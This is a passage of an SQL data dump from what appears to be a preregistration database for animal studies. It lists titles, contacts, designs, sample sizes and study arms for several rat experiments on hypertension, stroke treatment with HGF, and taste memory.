	(9924,274,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9925,274,'has_embargo','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9926,274,'species','\"other\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9927,274,'other_species','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9928,274,'study_arms','[{\"type\":\"\",\"number\":\"\",\"intervention\":\"FIXED BY GD\"}]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9929,275,'title','\"Evaluation of gene expression profile in specific nephron districts in hypertensive animal models.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9930,275,'contact_name','\"Patrizia Lombari\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9931,275,'contact_role','\"executive researcher\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9932,275,'contact_email','\"patrizia.lombari@unicampania.it\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9933,275,'study_centre','[{\"name\":\"Biogem\",\"city\":\"Ariano Irpino\",\"country\":\"IT\"},{\"name\":\"Universit\\u00e0 della Campania &quot;Luigi Vanvitelli&quot;\",\"city\":\"Napoli\",\"country\":\"IT\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9934,275,'financial_support','[\"grants\"]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9935,275,'start_date','\"2011-01-03\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9936,275,'end_date','\"2014-01-03\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9937,275,'study_status','\"completed_and_published_abstract\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9938,275,'research_field','\"Nephrology\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9939,275,'hypothesis','\"The study of human pathologies in animal models  is useful to understand which molecular processes are involved and which are the possible targets to be used for pharmacological research. In particular in this study are analyzed the alterations of gene expression in specific districts of the nephron in animals with induced hypertension.   \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9940,275,'intervention_type','\"other\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9941,275,'other_intervention_type','\"NaCl dietary supplementation\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9942,275,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9943,275,'primary_readout_parameter','\"The terminal portions of the nephron (thick ascending limb and distal convoluted tubule) will be isolated in order to analyze the altered molecular patterns in these districts. Molecular investigations will be conducted at various levels (miRNA, mRNA and protein expression). \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9944,275,'secondary_readout_parameter','\"The results obtained from this study could lead to the identification of new targets for drug testing.  \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9945,275,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9946,275,'species','\"rat\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9947,275,'strain','\"Sprague Dawley \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9948,275,'sex','\"male\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9949,275,'experimental_design','\"Animal models will be used to find out what factors lead to altered expression of sodium channels along the nephron and what is the main mechanism that induces hypertension in these animals, whether they are animals that have been induced hypertension with diet or spontaneously hypertensive animals. \\n\\nIsolation of renal tubules\\nThe animals will be anesthetized with gas anesthesia (isofluorane) and placed on the table with the abdomen facing up After assessing the anesthesiological plan, observing signs such as breathing and performing tests of reaction to various stimuli (eyelid reflex or pinching of the phalanges of the hind limb), an incision will be made from the lower abdomen to the diaphragm to allow to discover the abdominal package. The intestines will be moved and the abdominal aorta will be isolated and cannulated with an 18G syringe needle. At this point, a solution pre-warmed to 37\\u00b0C containing type IV collagenase and type XIV protease will be infused into the kidneys. The kidneys will then be harvested to isolate fragments of renal cortex which will be treated with a solution containing type II collagenase and type XIV protease. The solution thus obtained will be examined under the microscope to allow the isolation of the tubules of which the nephron is composed. During the intervention, without ever waking up, the animal will die of acute anemia, resulting from the severing of the abdominal aorta, if the animal should still be alive will be practiced the dislocation of the cervical vertebrae. \\n\\nTreatment with hypersodic diet of animals\\nThe animals will be subjected to hypersodium diet by adding NaCl in the drinking water. The NaCl contained in the water will have a concentration of 0.28 M. The NaCl solution will be administered ad libitum for 15 days. In previous experiments, described in the literature (2), subjects subjected to this drinking regimen showed no signs of discomfort or distress. \\n\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9950,275,'sample_size_calculation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9951,275,'sum_of_animals','\"450\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9952,275,'study_arms','[{\"type\":\"control\",\"number\":\"30\",\"intervention\":\"method development\"},{\"type\":\"control\",\"number\":\"60\",\"intervention\":\"tubules isolation\"},{\"type\":\"intervention\",\"number\":\"60\",\"intervention\":\"tubules isolation\"},{\"type\":\"other\",\"number\":\"150\",\"intervention\":\"tubules isolation\"},{\"type\":\"other\",\"number\":\"150\",\"intervention\":\"tubules isolation\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9953,275,'randomisation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9954,275,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9955,275,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9956,275,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9957,275,'investigators_blinded_assessment','\"yes_partially\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9958,275,'yes_blinded_assessment_how_details','\"The primary outcome was assesed by company service\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9959,275,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9960,275,'application_number','\"2810\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9961,275,'has_embargo','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9962,276,'title','\"HGF At The aCute pHase of Stroke \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9963,276,'short_title','\"HATCH STROKE \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9964,276,'contact_name','\"simon leboube\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9965,276,'contact_role','\"executive researcher\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9966,276,'contact_email','\"simon.leboube@chu-lyon.fr\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9967,276,'study_centre','[{\"name\":\"Carmen Laboratory\",\"city\":\"Bron\",\"country\":\"FR\"},{\"name\":\"Cermep \",\"city\":\"Bron\",\"country\":\"FR\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9968,276,'financial_support','[\"grants\"]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9969,276,'start_date','\"2022-03-14\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9970,276,'end_date','\"2023-03-14\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9971,276,'study_status','\"not_started\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9972,276,'research_field','\"neurology\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9973,276,'hypothesis','\"Compound X decreases cerebral ischemia reperfusion injury after stroke \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9974,276,'intervention_type','\"compound\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9975,276,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9976,276,'primary_readout_parameter','\"efficacy based on the size of Area of Necrosis (AN) measured by MRI 24 hours after stroke standardized on the Area At Risk (AAR) mesured by MRI during occlusion. We hope to reduce the cerebral infarct size (AN\\/AAR) from 40 to 19%.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9977,276,'secondary_readout_parameter','\"Functional examination &quot;neuroscore&quot; is evaluated 23 hours after the stroke: \\nSensory-motor tests evaluating the functional deficit are performed. 20 minutes per animal including: observation of spontaneous activity, assessment of gait including hooping or not, assessment of postural signs &quot;parachute&quot; reflex, lateral resistance stimulation.Each item is scored in detail for a score ranging from 0 to 22, with the highest score reflecting the most marked deficits. In practice, the scores observed in the control group do not go beyond 14 (Basalay and al. Scientific Reports, 2020).\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9978,276,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9979,276,'species','\"rat\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9980,276,'strain','\"Sprague-Dawley\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9981,276,'sex','\"male\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9982,276,'experimental_design','\"Study will be divid in two distincts phases : \\n\\n-First phase : A first phase pharmacological study dedicated to compound X in order to determine the most efficient dosage and mode of administration of Compound X. We know that intravenous injection of Compound X causes blood release of Hepatocyte Growth Factor (HGF). The objective is to obtain the highest level of HGF released after intravenous Compound X injection. \\nWe will test different dosages (2, 5, 10 and 30 mg\\/kg) from 4 groups of 5 rats. In order to perform precise kinetics of plasma HGF release, 4 blood samples of 50 \\u00b5L will be taken through the tail vein of the animal:\\nT0: before IV injection of Compound X\\nT1: 10 minutes after injection (theoretical peak of HGF) \\nT2: at 1 hour.\\nT3: at 24 hours after Compound X injection.\\nHGF level will be determined by ELISA. The animals will then be monitored for one week to verify the good tolerance of the treatment: growth (one weighing\\/day) and behavioral analysis. \\nOnce the most efficient bolus dosage has been determined, we will complete the experiment with a 5th group also comprising 5 animals. The injection of the bolus to the animal will be done according to the same protocol as described above but the bolus will be completed by a continuous infusion of Compound X over one hour (under general anesthesia). The same samples (T0, T1, T2 and T3) will be taken. The objective is to determine if the 1-hour HGF level can be maintained higher by the IV bolus + 1-hour continuous infusion regimen than by the IV bolus regimen alone. \\n\\n-Second phase : Surgical induction of stroke in rats and administration of treatment \\n\\nThe entire procedure at Day 0 (surgery, MRI, reperfusion, and treatment administration) is performed under deep isoflurane anesthesia.\\n\\n- (H0) Surgical stroke induction: Surgery is performed under deep isoflurane gas anesthesia.  Middle cerebral artery occlusion is performed by surgical approach with a filament. The duration of the surgery is less than 30 minutes. \\n\\n- (H1) Transfer of the animal to MRI to perform a basal brain MRI per occlusion: acquisition of several sequences allowing the inclusion of the animals and the evaluation of the size of the cerebral ischemia:\\n- MRA sequence (TOF) allowing visualization of cerebral arteries and assessment of the degree of stenosis of the left middle cerebral artery per occlusion (0 = complete occlusion, 1 = partial occlusion, 2 = no occlusion).\\n- T2* sequence (gradient echo): search for cerebral hemorrhage (exclusion criteria).\\n- diffusion sequence (DWI) with calculation of the apparent diffusion coefficient (ADC): evaluation of the size of the ischemia (exclusion criterion if ischemia &lt; 10%).\\n- perfusion sequence: assessment of cerebral perfusion by intravenous injection (via the caudal route) of a contrast agent (Clariscan\\u00ae, gadolinium chelate, dose: 0.4 mmol\\/kg, volume for a 250 g rat: 0.2 mL). Evaluation of the diffusion\\/perfusion mismatch.\\nThe filament was left in place for a total of 90 minutes (ischemia). Animals included in the study following per-occlusion MRI are randomized into the different treatment groups (saline control group, HGF group, Compound X group), according to a randomization table determined a priori. The treatment was administered intravenously (caudal catheter) 5 minutes before reperfusion: 200 \\u00b5L intravenous bolus followed or not by a pump infusion (600 \\u00b5L\\/h) for 1 hour according to the results of phase 1. After that, the filament is removed (reperfusion), and the animal can be permanently sutured with sterile sutures. \\n\\n- (H23) Functional examination: the next day, sensory-motor tests assessing the functional deficit (&quot;neuroscore&quot;) are performed (20 minutes per animal including : an observation of spontaneous activity, an evaluation of gait (in particular the fact of hooping or not), an evaluation of postural signs (&quot;parachute&quot; reflex), lateral resistance, reaction to vibrissae stimulation; each item is the subject of a detailed quotation for a score ranging from 0 to 22, the highest score reflecting the most marked deficits. In practice, the scores observed in the control (untreated) group do not go beyond 14 (see Basalay Scien Rep 2020).\\n \\n- (H24) Final MRI examination: MRI imaging at 24 hours, when the size of the necrotic lesion is constituted. The examination is performed under gas anesthesia and lasts a maximum of 15 minutes. Acquisition of a T2\\/FLAIR anatomical sequence. Then the animal is sacrificed with whole blood sampling and freezing of the brain and heart (after washing with PBS) for biochemical examinations which will be carried out later.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9983,276,'sample_size_calculation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9984,276,'sample_size_calculation_details','\"Phase 1 is exploratory. There is no sample size calculation\\nSample size calculation for phase 2 : alpha 5%, beta 80%, minimal detectable difference  of 21% (AN\\/AAR) between HGF group and control group or between Compound X groupe and control group, Standard Deviation of 18%. \\nExpected number of drop-outs for phase 2 : 28% (mortality, AAR  &lt; 10% or cerebral hemorrhage on MRI per occlusion)\\nExpected number of drop-outs for phase 1 : 10%\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9985,276,'sum_of_animals','\"Phase 1 : 25 animals \\nPhase 2 : 44 animals \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9986,276,'study_arms','[{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 2 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 5 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 10 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 30 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X at 2, 5, 10 or 30 mg\\/kg (most efficient bolus) completed by a continuous infusion of Compound X at 0.8, 2, 4 or 12 mg\\/kg\\/h (according to the bolus) over one hour (phase 1)\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"Physiological Serum (NaCl) (phase 2)\"},{\"type\":\"intervention\",\"number\":\"13\",\"intervention\":\"Hepatocyte Growth Factor recombinant (HGFr) (phase 2)\"},{\"type\":\"intervention\",\"number\":\"13\",\"intervention\":\"Compound X (phase 2)\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9987,276,'randomisation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9988,276,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9989,276,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9990,276,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9991,276,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9992,276,'placebo_controlled','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9993,276,'has_embargo','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9994,276,'yes_blinded_intervention_partially_details','\"rat surgeon and treatment preparer are two different people \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9995,276,'yes_blinded_assessment_partially_details','\"The researcher acquiring the images and the one interpreting them are not the same. The data are encrypted to allow for blindness.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9996,276,'original_animal_ethics_committee_application','\"https:\\/\\/www.enseignementsup-recherche.gouv.fr\\/sites\\/default\\/files\\/2021-10\\/liste-nationale-des-comit-s-d-thique-en-exp-rimentation-animale-13640.pdf\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9997,276,'application_number','\"CEEA - 042 Comit\\u00e9 d\\u2019\\u00e9thique pour l\\u2019exp\\u00e9rimentation animale neurosciences Lyon (CELYNE)\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9998,183,'study_arms','[{\"type\":\"\",\"number\":\"\",\"intervention\":\"asdasdasdddd\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(9999,277,'title','\"Neural mechanisms that underlie familiarization and change in hedonic value of taste stimuli.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10000,277,'short_title','\"Neural mechanisms of taste memory.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10001,277,'contact_email','\"jpmorin@comunidad.unam.mx\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10002,277,'study_centre','[{\"name\":\"Universidad Nacional Aut\\u00f3noma de M\\u00e9xico\",\"city\":\"Mexico City\",\"country\":\"MX\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10003,277,'financial_support','[\"grants\"]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10004,277,'start_date','\"2022-02-01\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10005,277,'end_date','\"2023-01-31\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10006,277,'study_status','\"active\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10007,277,'research_field','\"Neuroscience, psychopharmacology, behavioral neurobiology.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10008,277,'hypothesis','\"Previous studies have found that taste stimuli are segregated in the insular cortex according to their hedonic value.\\nSpecifically, innate aversive stimuli, such as quinine, activate posterior regions of the insular cortex, while those innate\\nappetitive stimuli such as saccharine activate regions of the anterior insular cortex. In addition, it has been found that\\nthese maps are plastic and can be modified by previous exposure of an animal to a given flavor. Hence, the proportion of\\nactivated neurons in the anterior insular cortex will positively correlate, while in the posterior insular cortex will negatively correlate with preference of flavor as it familiarizes.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10009,277,'intervention_type','\"retention\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10010,277,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10011,277,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10012,277,'species','\"rat\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10013,277,'strain','\"Wistar.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10014,277,'sex','\"male\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10015,277,'contact_name','\"Jean Pascal Morin\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10016,277,'contact_role','\"Associate Professor\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10017,277,'randomisation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10018,277,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10019,277,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10020,277,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10021,277,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10022,277,'has_embargo','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10023,277,'primary_readout_parameter','\"By maping the neural activity by double-marking c-Fos and Fluorogold in our sample tissues using immunohistochemistry after adquisition of incidental memory, we will quantify the number of c-Fos positive nuclei in the anterior and the posterior part of the gustatory insular cortex in each of the conditions mentioned below.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10024,277,'secondary_readout_parameter','\" Obtain the proportion of the cells that project to the basolateral amygdala.\"','2022-03-31 13:24:05','2022-03-31 13:24:06'),
	(10025,277,'sample_size_calculation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10026,277,'sample_size_calculation_details','\"Sample size was obtained with the following formula: 2(SD^2) (1.96+0.842)^2\\/d^2 (Charon &amp; Katharia, J Pharmacol Pharmacother, 2013).\\n\\nThe effect size and standard deviation were obtained from a previously published study (Koh, Wilkins &amp; Bernstein, 2003) evaluating c-fos protein immunoreactivity after novel or familiar taste presentation and yielded the following:\\n\\nSample size = 2 (22.5^2) (1.96+0.842)^2\\/(37^2) = 5.8. We will therefore use 6 brains per group and 7 rats per groups to account for attrition.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10027,277,'sum_of_animals','\"Since we obtained 5.8 from our calculation. Therefore, at least 6 animals per group will be included in the analysis, so we are including 7 per group to account for attrition (please refer to point number 20) yielding a total of 35 rats, among which at least 30 will be included in the analysis.\"','2022-03-31 13:24:05','2022-03-31 13:24:06'),
	(10028,277,'study_arms','[{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on the first four days of experiment and will be presented saccharine for the first time on the fifth day.\"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5.\"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Seven rats will be given saccharine each of the five days within our experiment.\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5. Scopolamine will be infused via a cannula in the basolateral amygdala.\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4. Saccharine will be presented on day 3 and day 5. Saline solution will be infused via a cannula in the basolateral amygdala.\"}]','2022-03-31 13:24:05','2022-03-31 13:24:07'),
	(10029,277,'application_number','\"FMED\\/CI\\/PMSS\\/091\\/2021\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10030,277,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10031,277,'experimental_design','\"35 adult male Wistar rats (250\\u2212 300 g) will be used as experimental subjects. Animals will be implanted bilaterally with cannulas aimed at either the BLA or CeA. Rats will be allowed 7 days to recover. After recovery, rats will be randomly assigned to five groups: W4S1, W3S2, S5, W3S2-Scop, W3S2-Sal. Next, they will be water-deprived overnight after which they will be allowed to drink fluid for 10 minutes twice a day in a training chamber containing 10 water-filled 3mL burettes, one session in the morning and another in the afternoon. Taste solutions are presented during the morning sessions, the afternoon session serving to habituate the rats to the drinking chamber and schedule and prevent dehydration. The group labeled as W4S1 will be given water on the first four days and saccharine on the fifth day. The group W3S2 will be given water on days 1, 2 and 4; and saccharine on days 3 and 5. The group S5 will be given saccharine each of the five days of our experiment. The group W3S2-Scop will serve as our intervention group and will be given water on days 1, 2, and 4; and saccharine on days 3 and 5, with scopolamine infused directly in basolateral amygdala via the previously described cannulae. The group W3S2-Sal will serve as our sham group and will be given water on days 1, 2, and 4; and scopolamine on days 3 and 5, with saline solution being infused through the previously described cannulae.  \\n\\n\\nIn particularly described cases, the drugs will be administered either 1) 5 min before novel taste presentation; 2) immediately after novel taste presentation; 3) 5 min before retrieval, i.e. the second taste presentation on day 5 or 4) both 5 min before novel taste and 5 min before retrieval.\\n\\nThe data will be analyzed with a mixed two-way ANOVA with one repeated (familiarity: first, second etc. presentation) and one non repeated measure: the drug.\\n\\nDifferences between groups will be considered significant when  p&lt;0.05\\n\\nThirty minutes after exposure on the fifth day, rats will be sacrificed. Brains will be perfused with paraformaldehyde and extracted. Coronal slices will be obtained using a microtome. A calculated sample size of 6 brains per group will be analyzed. Tissues will be washed using PBS (phosphate-buffered saline solution) and will be exposed to antigen retrieval on boiling water. Samples will be washed again, submerged into a peroxydation solution in order to wash the tissue from blood waste. Brains will be washed again and will be blocked using either albumin or natural goat serum (since our secondary antibody is obtained from goat). Then, samples will be let for 72 hours with primary antibody, which is rabbit anti- c-Fos. After that, samples will be washed again and will be exposed for an hour to a secondary antibody, which is goat anti-rabbit. Samples will be washed again and will be exposed to ABC solution, containing the biotin-avidin complex. Finally, after washing again our samples, they will be revealed using DAB (di-aminobenzydine) and hydrogen peroxyde. They will then be dehydrated using increasing concentrations of ethanol and xylol.\"','2022-03-31 13:24:05','2022-03-31 13:24:06'),
	(10032,278,'research_field','\"Neurobiology\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10033,278,'start_date','\"2022-02-01\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10034,278,'end_date','\"2023-01-31\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10035,278,'study_centre','[{\"name\":\"Universidad Nacional Aut\\u00f3noma de M\\u00e9xico\",\"city\":\"Ciudad de M\\u00e9xico\",\"country\":\"MX\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10036,278,'title','\"Evaluation of the differential participation of muscarinic receptors in central amygdala (CeA) and basolateral amygdala (BLA) during the formation of incidental gustative memory.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10037,278,'short_title','\"The role of muscarinic recptors in CeA and BLA during the formation of incidental gustative memory.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10038,278,'contact_name','\"Jean-Pascal Morin\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10039,278,'contact_role','\"Research group supervisor\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10040,278,'contact_email','\"jpmorin@comunidad.unam.mx\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10041,278,'financial_support','[\"grants\"]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10042,278,'study_status','\"active\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10043,278,'intervention_type','\"surgery\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10044,278,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10045,278,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10046,278,'species','\"rat\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10047,278,'sex','\"male\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10048,278,'sum_of_animals','\"288 (32 groups of 9).\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10049,278,'randomisation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10050,278,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10051,278,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10052,278,'strain','\"260-280 g male Wistar rats.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10053,278,'study_arms','[{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA scopolamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA  scopolamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA scopolamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA  scopolamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA scopolamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA scopolamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M1 antagonist Pirenzepine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M1 antagonist Pirenzepine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M2 antagonist metroctamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M2 antagonist metroctamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA  vehicle infusions immediately after intake of novel taste in the formation of memory incidental 